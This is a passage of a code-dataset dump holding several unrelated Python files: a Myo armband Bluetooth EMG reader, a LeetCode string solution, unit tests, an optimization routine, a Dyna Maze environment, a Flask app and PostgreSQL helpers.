0200\")\n # disable on/off arm notifications\n child.sendline(\"char-write-req 0x24 0000\")\n\n # to get raw EMG signals, we subscribe to the four EMG notifications\n # characteristics by writing a 0x0100 command to the corresponding handles.\n child.sendline(\"char-write-req 0x2c 0100\") # Suscribe to EmgData0Characteristic\n child.sendline(\"char-write-req 0x2f 0100\") # Suscribe to EmgData1Characteristic\n child.sendline(\"char-write-req 0x32 0100\") # Suscribe to EmgData2Characteristic\n child.sendline(\"char-write-req 0x35 0100\") # Suscribe to EmgData3Characteristic\n # bytes sent to handle 0x19 (command characteristic) have the following\n # format: [command, payload_size, EMG mode, IMU mode, classifier mode]\n # according to the Myo BLE specification, the commands are:\n # 0x01 -> set EMG and IMU\n # 0x03 -> 3 bytes of payload\n # 0x02 -> send 50Hz filtered signals\n # 0x01 -> send IMU data streams\n # 0x01 -> send classifier events\n # child.sendline(\"char-write-req 0x19 0103020101\")\n child.sendline(\"char-write-req 0x19 0103020000\")\n\n # enable battery notifications\n # child.sendline(\"char-write-req 0x12 0110\")\n # disable battery notifications\n child.sendline(\"char-write-req 0x12 0010\")\n\n\n# function to collect raw data\ndef collect_raw(child):\n '''Function to collect raw date at low sampling rate'''\n # for IMU data\n # child.expect(\"Notification handle = 0x001c value:\", timeout=10)\n # for EMG data\n child.expect(\"Notification handle = 0x0027 value:\", timeout=10)\n child.expect(\"\\r\\n\", timeout=10)\n emg_str = child.before\n # emg_str looks like this: cc 00 2f 00 40 00 bb 01 14 01 f9 00 63 00 65 00 00\n # remove two last spaces and last byte in string (= 4 characters)\n emg_str = emg_str[:-4]\n # emg_str looks like this: cc 00 2f 00 40 00 bb 01 14 01 f9 00 63 00 65 00\n # replace spaces in string with \\x (\"\\\" is escape character)\n emg_str = emg_str.replace(' ', r'\\x').decode('string-escape')\n # decode string with unpack() function (see common.py)\n emg_raw = unpack('8h', emg_str)\n # print(emg_raw)\n\n return emg_raw\n\n\n# function to collect raw data at 200Hz\n# received packets look like: Notification handle = 0x002b value: ff 01 06 31 12 0f 01 ff 00 01 03 eb 05 f0 fd 00\n# there are 4 different attributes to look for: 0x002b, 0x002e, 0x0031, 0x0034\n# it seems these attributes are not always coming in the same order...\n# def collect_raw_fast(child):\n# '''Function to collect raw date at high sampling rate (200Hz)'''\n# i = child.expect([\"Notification handle = 0x002b value:\",\n# \"Notification handle = 0x002e value:\",\n# \"Notification handle = 0x0031 value:\",\n# \"Notification handle = 0x0034 value:\"], timeout=10)\n# if i == 0:\n# child.expect(\"\\r\\n\", timeout=10)\n# emg_str0 = child.before\n# # remove last space at the end of the string (= 1 character)\n# emg_str0 = emg_str0[:-1]\n# # print(emg_str0)\n# # replace spaces in string with \\x (\"\\\" is escape character) to use unpack() function.\n# emg_str0 = emg_str0.replace(' ', r'\\x').decode('string-escape')\n# # decode string with unpack() function (see common.py)\n# emg_raw0a = unpack('8b', emg_str0[:8])\n# emg_raw0b = unpack('8b', emg_str0[8:])\n# print(\"emg_raw0a: \", emg_raw0a)\n# print(\"emg_raw0b: \", emg_raw0b)\n#\n# return [emg_raw0a, emg_raw0b]\n#\n# elif i == 1:\n# child.expect(\"\\r\\n\", timeout=10)\n# emg_str1 = child.before\n# # remove last space at the end of the string (= 1 character)\n# emg_str1 = emg_str1[:-1]\n# # print(emg_str1)\n# # replace spaces in string with \\x (\"\\\" is escape character) to use unpack() function.\n# emg_str1 = emg_str1.replace(' ', r'\\x').decode('string-escape')\n# # decode string with unpack() function (see common.py)\n# emg_raw1a = unpack('8b', emg_str1[:8])\n# emg_raw1b = unpack('8b', emg_str1[8:])\n# print(\"emg_raw1a: \", emg_raw1a)\n# print(\"emg_raw1b: \", emg_raw1b)\n#\n# elif i == 2:\n# child.expect(\"\\r\\n\", timeout=10)\n# emg_str2 = child.before\n# # remove last space at the end of the string (= 1 character)\n# emg_str2 = emg_str2[:-1]\n# # print(emg_str2)\n# # replace spaces in string with \\x (\"\\\" is escape character) to use unpack() function.\n# emg_str2 = emg_str2.replace(' ', r'\\x').decode('string-escape')\n# # decode string with unpack() function (see common.py)\n# emg_raw2a = unpack('8b', emg_str2[:8])\n# emg_raw2b = unpack('8b', emg_str2[8:])\n# print(\"emg_raw2a: \", emg_raw2a)\n# print(\"emg_raw2b: \", emg_raw2b)\n#\n# elif i == 3:\n# child.expect(\"\\r\\n\", timeout=10)\n# emg_str3 = child.before\n# # remove last space at the end of the string (= 1 character)\n# emg_str3 = emg_str3[:-1]\n# # print(emg_str3)\n# # replace spaces in string with \\x (\"\\\" is escape character) to use unpack() function.\n# emg_str3 = emg_str3.replace(' ', r'\\x').decode('string-escape')\n# # decode string with unpack() function (see common.py)\n# emg_raw3a = unpack('8b', emg_str3[:8])\n# emg_raw3b = unpack('8b', emg_str3[8:])\n# print(\"emg_raw3a: \", emg_raw3a)\n# print(\"emg_raw3b: \", emg_raw3b)\n\n\n# simpler version of collect_raw_fast()\ndef collect_raw_fast(child):\n '''Function to collect raw date at high sampling rate (200Hz)'''\n i = child.expect([\"Notification handle = 0x002b value:\",\n \"Notification handle = 0x002e value:\",\n \"Notification handle = 0x0031 value:\",\n \"Notification handle = 0x0034 value:\"], timeout=10)\n if i == 0 or i == 1 or i == 2 or i == 3:\n child.expect(\"\\r\\n\", timeout=10)\n emg_str = child.before\n # remove last space at the end of the string (= 1 character)\n emg_str = emg_str[:-1]\n # print(emg_str)\n # replace spaces in string with \\x (\"\\\" is escape character) to use unpack() function.\n emg_str = emg_str.replace(' ', r'\\x').decode('string-escape')\n # decode string with unpack() function (see common.py)\n emg_raw_a = unpack('8b', emg_str[:8])\n emg_raw_b = unpack('8b', emg_str[8:])\n # print(\"emg_raw_a: \", emg_raw_a)\n # print(\"emg_raw_b: \", emg_raw_b)\n\n return [emg_raw_a, emg_raw_b]\n\n\n# function to put the Myo in different sleep mode (0 or 1).\n# 0: the myo will go to sleep mode after some inactivity.\n# 1: the myo will not go into sleep mode at all.\ndef sleep_mode(child, mode):\n '''Function to put the Myo in different sleep mode'''\n string = 'char-write-req 0x19 09010' + str(mode)\n child.sendline(string)\n\n\ndef power_off(child):\n child.sendline(\"char-write-req 0x19 0400\")\n\n\ndef main():\n counter = 0\n exitFlag = 0\n init_filt_var()\n\n DEVICE = \"C8:6A:29:68:43:FB\"\n\n print(\"Myo address:\"),\n print(DEVICE)\n\n # Run gatttool interactively.\n print(\"Run gatttool...\")\n child = pexpect.spawn(\"gatttool -I\")\n\n connect(child, DEVICE)\n\n set_leds(child, 'ff00ff', '0000ff') # set logo to magenta (ff00ff) and line to blue (0000ff)\n get_name(child)\n get_firmware(child)\n get_battery_level(child)\n\n # vibrate(child, 3)\n\n sleep_mode(child, 1) # prevent to go into sleep mode\n\n # start_raw(child) # sampling rate is about 50 data (8 EMG channels) per second\n start_raw_fast(child) # sampling rate is about 200 data (8 EMG channels) per second\n\n tStart = time.time()\n\n try:\n while not exitFlag:\n # rawData = collect_raw(child)\n rawData = collect_raw_fast(child)\n # filtData = data_filtering(rawData)\n print(rawData[0])\n print(rawData[1])\n # diffData = filtData[3] - filtData[7]\n #\n # # set the sampling rate in second. 0.007s with Arduino MEGA and 0.005s with Arduino DUE and Teensy\n # if time.time() - tStart > 0.005:\n # # send raw data\n # # ser.write('%s,%s,%s,%s,%s,%s,%s,%s,' % (rawData[0], rawData[1], rawData[2], rawData[3], rawData[4], rawData[5], rawData[6], rawData[7]))\n # # send filtered data\n # # ser.write('%s,%s,%s,%s,%s,%s,%s,%s,' % (filtData[0], filtData[1], filtData[2], filtData[3], filtData[4], filtData[5], filtData[6], filtData[7]))\n #\n # # ser.write('%s' % diffData)\n #\n # tStart = time.time()\n\n # on RPi3: 2000 samples in about 10s on average => 200Hz\n # on RPi0: 2000 samples in about 13.5s on average => 148Hz\n # if counter == 1000:\n # print(time.time() - tStart)\n # tStart = time.time()\n # counter = 0\n #\n # counter = counter + 1\n\n ser.close()\n\n except KeyboardInterrupt:\n print(\"KeyboardInterrupt\")\n disconnect(child, DEVICE)\n exitFlag = 1\n print(\"exitFlag\", exitFlag)\n\n finally:\n print(\"Finished\")\n exitFlag = 1\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"carolambek/myo_raspberry_reading","sub_path":"myo_rpi_ble.py","file_name":"myo_rpi_ble.py","file_ext":"py","file_size_in_byte":13811,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"74390403077","text":"'''\nA string can be abbreviated by replacing any number of non-adjacent, non-empty substrings with their lengths. The lengths should not have leading zeros.\n\nFor example, a string such as \"substitution\" could be abbreviated as (but not limited to):\n\n\"s10n\" (\"s ubstitutio n\")\n\"sub4u4\" (\"sub stit u tion\")\n\"12\" (\"substitution\")\n\"su3i1u2on\" (\"su bst i t u ti on\")\n\"substitution\" (no substrings replaced)\nThe following are not valid abbreviations:\n\n\"s55n\" (\"s ubsti tutio n\", the replaced substrings are adjacent)\n\"s010n\" (has leading zeros)\n\"s0ubstitution\" (replaces an empty substring)\nGiven a string word and an abbreviation abbr, return whether the string matches the given abbreviation.\n\nA substring is a contiguous non-empty sequence of characters within a string.\n\n \n\nExample 1:\n\nInput: word = \"internationalization\", abbr = \"i12iz4n\"\nOutput: true\nExplanation: The word \"internationalization\" can be abbreviated as \"i12iz4n\" (\"i nternational iz atio n\").\nExample 2:\n\nInput: word = \"apple\", abbr = \"a2e\"\nOutput: false\nExplanation: The word \"apple\" cannot be abbreviated as \"a2e\".\n \n\nConstraints:\n\n1 <= word.length <= 20\nword consists of only lowercase English letters.\n1 <= abbr.length <= 10\nabbr consists of lowercase English letters and digits.\nAll the integers in abbr will fit in a 32-bit integer.\n'''\n\n\n\n'''\nWalkthrough\nWe maintain two pointers, i pointing at word and j pointing at abbr.\nThere are only two scenarios:\n\nj points to a letter. We compare the value i and j points to. If equal, we increment them. Otherwise, return False.\nj points to a digit. We need to find out the complete number that j is pointing to, e.g. 123. Then we would increment i by 123. We know that next we will:\neither break out of the while loop if i or j is too large\nor we will return to scenario 1.\n'''\n\nclass Solution:\n def validWordAbbreviation(self, word: str, abbr: str) -> bool:\n i = j = 0 \n while j < len(abbr) and i < len(word): \n if abbr[j].isalpha(): \n if abbr[j] != word[i]: \n return False \n i += 1 \n j += 1 \n else: \n if abbr[j] == '0': # to handle edge cases such as \"01\", which are invalid\n return False \n temp = 0 \n while j < len(abbr) and abbr[j].isdigit(): \n temp = temp * 10 + int(abbr[j]) \n j += 1 \n i += temp \n \n return j == len(abbr) and i == len(word)\n \n \n# https://leetcode.com/problems/valid-word-abbreviation/discuss/358543/Detailed-Explanation-Python-O(N)-Two-Pointer-Solution\n# two pointers\n# TC : O(N)\n# SC : O(1) \n \n","repo_name":"algoslearner/leetcode","sub_path":"companies/fb/leetcode/easy/05_valid_word_abbreviation.py","file_name":"05_valid_word_abbreviation.py","file_ext":"py","file_size_in_byte":2720,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"236363770","text":"#!/usr/bin/env python3\n\"\"\"A github org client\"\"\"\n\nimport unittest\nfrom unittest.mock import patch\nfrom parameterized import parameterized_class\nfrom fixtures import TEST_PAYLOAD\nfrom client import GithubOrgClient\n\n\n@parameterized_class([{\n \"org_payload\": TEST_PAYLOAD[0][0],\n \"repos_payload\": TEST_PAYLOAD[0][1],\n \"expected_repos\": TEST_PAYLOAD[0][2],\n \"apache2_repos\": TEST_PAYLOAD[0][3]}])\nclass TestIntegrationGithubOrgClient(unittest.TestCase):\n \"\"\"TestIntegrationGithubOrgClient class\"\"\"\n\n @classmethod\n def setUpClass(cls):\n \"\"\"setUpClass method\"\"\"\n cls.get_patcher = patch('requests.get')\n cls.mock_requests = cls.get_patcher.start()\n\n @classmethod\n def tearDownClass(cls):\n \"\"\"tearDownClass method\"\"\"\n cls.get_patcher.stop()\n\n def test_public_repos(self):\n \"\"\"test_public_repos method\"\"\"\n test_class = GithubOrgClient(\"test\")\n self.assertEqual(test_class.public_repos(), self.expected_repos)\n\n def test_public_repos_with_license(self):\n \"\"\"test_public_repos_with_license method\"\"\"\n test_class = GithubOrgClient(\"test\")\n self.assertEqual(test_class.public_repos(\"apache-2.0\"),\n self.apache2_repos)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"Bboy010/alx-backend-python","sub_path":"0x03-Unittests_and_integration_tests/test_client.py","file_name":"test_client.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73276545796","text":"__all__ = ['ast_arithmetic_operator',\n 'ast_assignment',\n 'ast_bit_operator',\n 'ast_block',\n 'ast_block_with_variables',\n 'ast_comparison_operator',\n 'ast_compound_stmt',\n 'ast_data_type',\n 'ast_declaration',\n 'ast_elif_clause',\n 'ast_else_clause',\n 'ast_equations_block',\n 'ast_expression',\n 'ast_expression_node',\n 'ast_for_stmt',\n 'ast_function',\n 'ast_function_call',\n 'ast_if_clause',\n 'ast_if_stmt',\n 'ast_input_block',\n 'ast_input_port',\n 'ast_input_qualifier',\n 'ast_logical_operator',\n 'ast_nestml_compilation_unit',\n 'ast_neuron',\n 'ast_neuron_or_synapse_body',\n 'ast_node',\n 'ast_node_factory',\n 'ast_ode_equation',\n 'ast_inline_expression',\n 'ast_kernel',\n 'ast_on_receive_block',\n 'ast_output_block',\n 'ast_parameter',\n 'ast_return_stmt',\n 'ast_simple_expression',\n 'ast_small_stmt',\n 'ast_stmt',\n 'ast_synapse',\n 'ast_unary_operator',\n 'ast_unit_type',\n 'ast_update_block',\n 'ast_variable',\n 'ast_while_stmt']\n","repo_name":"nest/nestml","sub_path":"pynestml/meta_model/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"62"} +{"seq_id":"34737878744","text":"\"\"\"Optimization procedure for iterative methods (e.g. gradient descent).\"\"\"\nfrom logging import Logger, root, INFO\nfrom typing import Dict, Any, List, Tuple, Callable, Optional\nimport timeit\n\nfrom tqdm.auto import tqdm # type: ignore\n\nimport lab\n\nfrom scnn.private.methods.optimization_procedures.optimization_procedure import (\n ITER_LOG_FREQ,\n METRIC_FREQ,\n)\nfrom scnn.private.methods.optimization_procedures.iterative import (\n IterativeOptimizationProcedure,\n)\n\nfrom scnn.private.methods.optimizers import (\n Optimizer,\n MetaOptimizer,\n ProximalOptimizer,\n)\nfrom scnn.private.models.model import Model\nfrom scnn.private.metrics import (\n update_metrics,\n init_metrics,\n format_recent_metrics,\n)\nfrom scnn.private.methods.termination_criteria import TerminationCriterion\n\n\nclass DoubleLoopProcedure(IterativeOptimizationProcedure):\n\n \"\"\"An iterative optimization procedure.\"\"\"\n\n optimizer: Optimizer\n\n def __init__(\n self,\n inner_optimizer: Optimizer,\n outer_optimizer: MetaOptimizer,\n inner_max_iters: int,\n outer_max_iters: int,\n inner_term_criterion: TerminationCriterion,\n outer_term_criterion: TerminationCriterion,\n name: str = \"\",\n divergence_check: bool = False,\n batch_size: Optional[int] = None,\n log_freq: int = ITER_LOG_FREQ,\n metric_freq: int = METRIC_FREQ,\n pre_process: Optional[Callable] = None,\n post_process: Optional[Callable] = None,\n max_total_iters: Optional[int] = None,\n ):\n \"\"\"\n :param inner_optimizer: an optimizer instance that will be used to execute the inner\n optimization loop.\n :param outer_optimizer: an optimizer instance that will be used to execute the outer\n optimization loop.\n :param inner_max_iters: the maximum number of iterations to run inner optimizer per\n outer step.\n :param outer_max_iters: the maximum number of iterations to run the outer optimizer.\n :param inner_term_criterion: the criterion to use when checking for early termination\n of the inner optimization routine.\n :param outer_term_criterion: the criterion to use when checking for early termination\n of the outer optimization routine.\n :param name: an optional name to display when printing the progress bar.\n :param divergence_check: an whether or not the optimization procedure should\n check for divergence behavior and terminate early.\n :param batch_size: the batch size to use when computing the objective.\n Defaults to `None' which indicates full-batch.\n :param log_freq: the frequency at which to information during optimization.\n :param metric_freq: the frequency at which to collect metrics, like objective,\n gradient-norm, etc, during optimization.\n :param pre_process: (optional) a function to call on the model after the it is\n initialized but *before* optimization starts.\n :param pre_process: (optional) a function to call on the model *after* optimization\n is complete.\n :param max_total_iters: the maximum number of inner steps that are permitted.\n \"\"\"\n self.inner_optimizer = inner_optimizer\n self.outer_optimizer = outer_optimizer\n self.inner_max_iters = inner_max_iters\n self.outer_max_iters = outer_max_iters\n self.inner_term_criterion = inner_term_criterion\n self.outer_term_criterion = outer_term_criterion\n\n self.name = name\n self.divergence_check = divergence_check\n self.batch_size = batch_size\n\n self.log_freq = log_freq\n self.metric_freq = metric_freq\n\n self.pre_process = pre_process\n self.post_process = post_process\n self.max_total_iters = max_total_iters\n\n def reset(self):\n \"\"\"Reset the optimization procedure (including any attached optimizers)\n to their original state.\"\"\"\n self.outer_optimizer.reset()\n self.inner_optimizer.reset()\n\n def __call__(\n self,\n logger: Logger,\n model: Model,\n initializer: Callable[[Model], Model],\n train_data: Tuple[lab.Tensor, lab.Tensor],\n test_data: Tuple[lab.Tensor, lab.Tensor],\n metrics: Tuple[List[str], List[str], List[str]],\n final_metrics: Optional[Tuple[List[str], List[str], List[str]]] = None,\n callback: Callable = None,\n ) -> Tuple[Dict[str, Any], Model, Dict[str, Any]]:\n \"\"\"Optimize a model using an iterative optimize method by running a\n \"optimization\" loop. The loop runs for 'max_iters' number of\n iterations, collects optional metrics at every iteration, and will\n terminate early if the conditions of 'term_criterion' are met.\n\n :param logger: a logging.Logger object that can be used to log information during\n optimization.\n :param model: the model to optimize.\n :param initializer: a function that can be called to initialize the model.\n :param train_data: an (X, y) tuple representing the training set.\n :param test_data: an (X_test, y_test) tuple representing the test data.\n :param metrics: a tuple of the form (train_metrics, test_metrics, additional_metrics)\n specifying the metrics to be computed on the training set, test set, and data-independent\n metrics.\n :returns: (exit_status, model, metrics) --- execution information, the optimized model, and metrics from optimization.\n \"\"\"\n # pre-optimization setup\n (model, metrics_log, exit_status, objective, grad,) = self._pre_optimization(\n logger,\n model,\n initializer,\n train_data,\n test_data,\n metrics,\n final_metrics,\n self.inner_optimizer.step_size,\n )\n (X, y), f0, start_time = train_data, objective, None\n # training loop\n verbose = root.level <= INFO\n\n # whether or not to terminate the outer optimization procedure.\n terminate = False\n total_itrs = 0\n\n # outer loop\n for outer_itr in tqdm(\n range(self.outer_max_iters),\n desc=\"Outer \" + self.name,\n disable=(not verbose),\n ):\n\n # inner loop says to terminate optimization.\n if terminate:\n break\n\n # capture time-cost of outer optimizer.\n\n start_time = self._get_start_time(start_time)\n # outer update\n (\n model,\n self.inner_term_criterion,\n self.inner_optimizer,\n sp_exit_state,\n ) = self.outer_optimizer.step(\n model, self.inner_term_criterion, self.inner_optimizer, X, y\n )\n\n # compute objective and gradient after outer update.\n objective = model.objective(X, y, batch_size=self.batch_size)\n grad = model.grad(\n X,\n y,\n batch_size=self.batch_size,\n step_size=self.inner_optimizer.step_size,\n )\n\n # inner loop\n for inner_itr in tqdm(\n range(self.inner_max_iters),\n desc=\"Inner \" + self.name,\n disable=(not verbose),\n ):\n\n if (\n self.max_total_iters is not None\n and total_itrs >= self.max_total_iters\n ):\n terminate = True\n break\n total_itrs += 1\n\n start_time = self._get_start_time(start_time)\n\n if inner_itr % self.log_freq == 0 and verbose:\n tqdm.write(format_recent_metrics(metrics_log, metrics))\n\n # outer termination criterion\n if self.outer_term_criterion(model, X, y, objective, grad):\n exit_status[\"success\"] = True\n logger.info(\n f\"*Outer* termination criterion satisfied at iteration {outer_itr}/{self.outer_max_iters}. Exiting *outer* optimization loop.\"\n )\n terminate = True\n break\n\n # inner termination criterion\n model = self.outer_optimizer.inner(model)\n if self.inner_term_criterion(model, X, y, objective, grad):\n exit_status[\"success\"] = True\n logger.info(\n f\"*Inner* termination criterion satisfied at iteration {inner_itr}/{self.inner_max_iters}. Exiting *inner* optimization loop.\"\n )\n break\n\n # check for divergence\n if self.divergence_check and objective > 1000 * f0:\n exit_status[\"success\"] = False\n logger.warning(\n f\"Method diverged at {inner_itr}/{self.inner_max_iters}. Exiting optimization loop.\"\n )\n break\n\n model, objective, sp_exit_state = self.inner_optimizer.step(\n model, X, y, objective, grad, self.batch_size\n )\n\n if callback is not None:\n model = callback(model, X, y)\n\n model = self.outer_optimizer.outer(model)\n\n # compute objective and gradient for next iteration.\n if objective is None:\n objective = model.objective(X, y, batch_size=self.batch_size)\n\n grad = model.grad(\n X,\n y,\n batch_size=self.batch_size,\n step_size=self.inner_optimizer.step_size,\n )\n\n # calculate time and other metrics.\n if inner_itr % self.metric_freq == 0:\n metrics_log, start_time = self._record_time(metrics_log, start_time)\n metrics_log = update_metrics(\n metrics_log,\n model,\n sp_exit_state,\n train_data,\n test_data,\n metrics,\n objective,\n grad,\n batch_size=self.batch_size,\n )\n\n if inner_itr == self.inner_max_iters - 1:\n logger.warning(\n \"Max iterations reached before *inner* termination criterion was satisfied. Exiting *inner* optimization loop.\"\n )\n\n # post-optimization clean-up.\n model, exit_status, metrics_log = self._post_optimization(\n logger,\n model,\n train_data,\n test_data,\n metrics,\n final_metrics,\n exit_status,\n metrics_log,\n start_time,\n self.inner_optimizer.step_size,\n )\n # collect final run-information\n if outer_itr == self.outer_max_iters - 1 or total_itrs == self.max_total_iters:\n exit_status[\"success\"] = False\n logger.warning(\n \"Max iterations reached before *outer* termination criterion was satisfied. Exiting *outer* optimization loop.\"\n )\n exit_status[\"outer_iterations\"] = outer_itr + 1\n exit_status[\"total_inner_iterations\"] = total_itrs\n\n return exit_status, model, metrics_log\n","repo_name":"pilancilab/scnn","sub_path":"src/scnn/private/methods/optimization_procedures/double_loop_procedure.py","file_name":"double_loop_procedure.py","file_ext":"py","file_size_in_byte":11512,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"62"} +{"seq_id":"16886541191","text":"import numpy as np\n\nINIT_POS = (2, 0)\nGOAL_POS_L = [(0, 8)]\nGRID_SHAPE = (6, 9)\nKEY_ACTION_DICT = {\n 'z': (-1, 0),\n 'q': (0, -1),\n 'd': (0, 1),\n 's': (1, 0),\n}\nAGENT_KEY = 'A'\nGOAL_KEY = 'G'\nINIT_KEY = 'S'\nWALL_KEY = 'W'\nWALLS = [(1, 2), (2, 2), (3, 2), (4, 5), (0, 7), (1, 7), (2, 7)]\n\nclass Position:\n def __init__(self, x, y, is_goal):\n self.x = x\n self.y = y\n self.is_goal = is_goal\n\n def in_bounds(self, grid_shape, index, axis):\n return max(0, min(index, grid_shape[axis] - 1))\n \n def move(self, action, grid_shape, goal_pos_l):\n x_p, y_p = self.in_bounds(grid_shape, self.x + action[0], 0), self.in_bounds(grid_shape, self.y + action[1], 1)\n return self if self.is_goal else Position(x_p, y_p, (x_p, y_p) in goal_pos_l)\n\n def __eq__(self, other_pos):\n if isinstance(other_pos, tuple):\n return self.x == other_pos[0] and self.y == other_pos[1]\n return self.x == other_pos.x and self.y == other_pos.y\n\n def __hash__(self):\n return hash((self.x, self.y))\n\n def __str__(self):\n return f\"({self.x}, {self.y})\"\n\nclass DynaMaze:\n def __init__(self, init_pos=INIT_POS, goal_pos_l=GOAL_POS_L, grid_shape=GRID_SHAPE, walls1=WALLS, walls2=WALLS):\n self.init_pos = init_pos\n self.goal_pos_l = goal_pos_l\n self.grid_shape = grid_shape\n self.get_states()\n self.get_moves()\n self.get_moves_dict()\n self.get_keys()\n self.pos_char_dict = {pos: INIT_KEY if pos == self.init_pos else GOAL_KEY for pos in [self.init_pos] + self.goal_pos_l}\n self.walls = walls1\n self.walls1 = walls1\n self.walls2 = walls2\n\n def switch_walls(self):\n if self.walls == self.walls1:\n self.walls = self.walls2\n else:\n self.walls = self.walls1\n\n def get_moves(self):\n self.moves = [(x, y) for x in [-1, 0, 1] for y in [-1, 0, 1] if (abs(x) + abs(y)) == 1]\n\n def get_states(self):\n self.states = [Position(x, y, (x, y) in self.goal_pos_l) for x in range(self.grid_shape[0]) for y in range(self.grid_shape[1])]\n\n def get_moves_dict(self):\n self.moves_d = {s: self.moves for s in self.states}\n\n def step(self, action):\n s_curr = self.state\n s_p = s_curr.move(action, self.grid_shape, self.goal_pos_l)\n s_next = s_curr if (s_p.x, s_p.y) in self.walls else s_p\n done = s_next.is_goal\n r = float(done and not s_curr.is_goal)\n self.state = s_next\n return s_next, r, done, {}\n\n def get_keys(self):\n self.keys = KEY_ACTION_DICT.keys()\n\n def step_via_key(self, key):\n return self.step(KEY_ACTION_DICT[key])\n\n def reset(self):\n self.state = Position(*self.init_pos, self.init_pos in self.goal_pos_l)\n return self.state\n\n def seed(self, seed):\n pass\n\n def force_state(self, s):\n self.state = s\n\n def __str__(self):\n x_ag, y_ag = self.state.x, self.state.y\n s = ''\n s += '\\n'\n for x in range(self.grid_shape[0]):\n for y in range(self.grid_shape[1]):\n if (x, y) == (x_ag, y_ag):\n s += AGENT_KEY\n elif (x, y) in self.pos_char_dict.keys():\n s += self.pos_char_dict[(x, y)]\n elif (x, y) in self.walls:\n s += WALL_KEY\n else:\n s += '.'\n s += '\\n'\n return s\n","repo_name":"mtrazzi/rl-book-challenge","sub_path":"chapter8/dyna_maze.py","file_name":"dyna_maze.py","file_ext":"py","file_size_in_byte":3145,"program_lang":"python","lang":"en","doc_type":"code","stars":175,"dataset":"github-code","pt":"62"} +{"seq_id":"36223372157","text":"from flask import Flask, request\n\nimport management\n\nspartan_app = Flask(__name__)\n\n\n@spartan_app.route(\"/\", methods=[\"GET\"])\ndef index_page():\n return \"Welcome to Spartan Employee management\"\n\n\n@spartan_app.route(\"/spartan/add\", methods=[\"POST\"])\ndef add_spartan():\n management.add_spartan_to_db()\n return f\"the details are added to the database\"\n\n\n@spartan_app.route(\"/spartan/\", methods=[\"GET\"])\ndef list_id(spartan_id):\n spartan_obj = management.retrieve_spartan(spartan_id)\n spartan_dict = vars(spartan_obj)\n return f\"details for id {spartan_id} : {spartan_dict}\"\n\n\n@spartan_app.route(\"/spartan/remove\", methods=[\"POST\"])\ndef remove_id():\n del_id = int(request.args.get(\"id\"))\n outcome = management.remove_spartan(del_id)\n return f\"{outcome}\"\n\n\n@spartan_app.route(\"/spartan\", methods=[\"GET\"])\ndef list_all_spartans():\n sparta_list = management.list_spartans()\n return f\"{sparta_list}\"\n\n\nif __name__ == \"__main__\":\n spartan_app.run(debug=True)\n","repo_name":"kvnjcob/sparta_proj","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30266246178","text":"import urllib.parse as up\r\nimport psycopg2\r\nimport secretos\r\n\r\n\r\n# Funciones que gestionan la interacción del programa con la base de datos.\r\n\r\nconexion = None\r\n\r\ndef generar_BD():\r\n \"\"\"Genera una conexión a una base de datos PostgreSQL externa dada por su URL\"\"\"\r\n global conexion\r\n up.uses_netloc.append(\"postgres\")\r\n url = up.urlparse(secretos.bdd_url())\r\n\r\n conn = psycopg2.connect(database=url.path[1:],\r\n user=url.username,\r\n password=url.password,\r\n host=url.hostname,\r\n port=url.port )\r\n\r\n conn.set_session(autocommit=True)\r\n\r\n conexion = conn\r\n\r\ndef cerrar_BD():\r\n \"\"\"Cierra la conexión a la base de datos\"\"\"\r\n conexion.close()\r\n\r\ndef extraer_datos(fecha):\r\n \"\"\"Dada una fecha en formato string obtiene los datos almacenados en la base de datos\r\n asociados. A continuación los introduce en un diccionario y los devuelve.\r\n \"\"\"\r\n cur = conexion.cursor()\r\n cur.execute(\"SELECT * FROM datos_vacunacion WHERE fecha=%s\", (fecha,))\r\n res = [col for col in cur.fetchall()[0]]\r\n cur.close()\r\n return {\"fecha\": str(res[0]), \"1d\": res[1], \"pc\": res[2], \"dif1d\": res[3], \"difpc\": res[4]}\r\n\r\ndef extraer_valor(clave):\r\n \"\"\"Extrae el valor de una clave. El valor es booleano.\"\"\"\r\n cur = conexion.cursor()\r\n cur.execute(\"SELECT valor FROM pares WHERE clave=%s\", (clave,))\r\n res = cur.fetchone()[0]\r\n cur.close()\r\n return res\r\n\r\ndef existen_datos_fecha(fecha):\r\n \"\"\"Devuelve un valor booleano.\r\n Verdadero si existe una fila en la tabla datos_vacunacion asociada a la fecha proporcionada.\r\n \"\"\"\r\n cur = conexion.cursor()\r\n cur.execute(\"SELECT fecha FROM datos_vacunacion WHERE fecha = %s\", (fecha,))\r\n numfilas = cur.rowcount\r\n cur.close()\r\n return numfilas > 0\r\n\r\ndef insertar_datos(fecha, datos):\r\n \"\"\"Inserta los datos dados asociados a la fecha proporcionada en la base de datos.\r\n Los datos deben ser un diccionario con claves \"1d\", \"pc\", \"dif1d\", \"difpc\".\r\n \"\"\"\r\n cur = conexion.cursor()\r\n datos[\"fecha\"] = fecha\r\n cur.execute(\"INSERT INTO datos_vacunacion VALUES (%(fecha)s, %(1d)s, %(pc)s, %(dif1d)s, %(difpc)s)\", datos)\r\n cur.close()\r\n\r\ndef actualizar_valor(clave, valor):\r\n \"\"\"Actualiza el valor de la clave dada, asignándole el valor proporcionado (booleano)\"\"\"\r\n cur = conexion.cursor()\r\n cur.execute(\"UPDATE pares SET valor=%s WHERE clave=%s\", (valor, clave))\r\n cur.close()\r\n\r\ndef listado_fechas():\r\n \"\"\"Devuelve un listado de todas las fechas de las que se tienen datos en la base de datos\"\"\"\r\n cur = conexion.cursor()\r\n cur.execute(\"SELECT fecha FROM datos_vacunacion\")\r\n res = [str(v[0]) for v in cur.fetchall()]\r\n cur.close()\r\n return 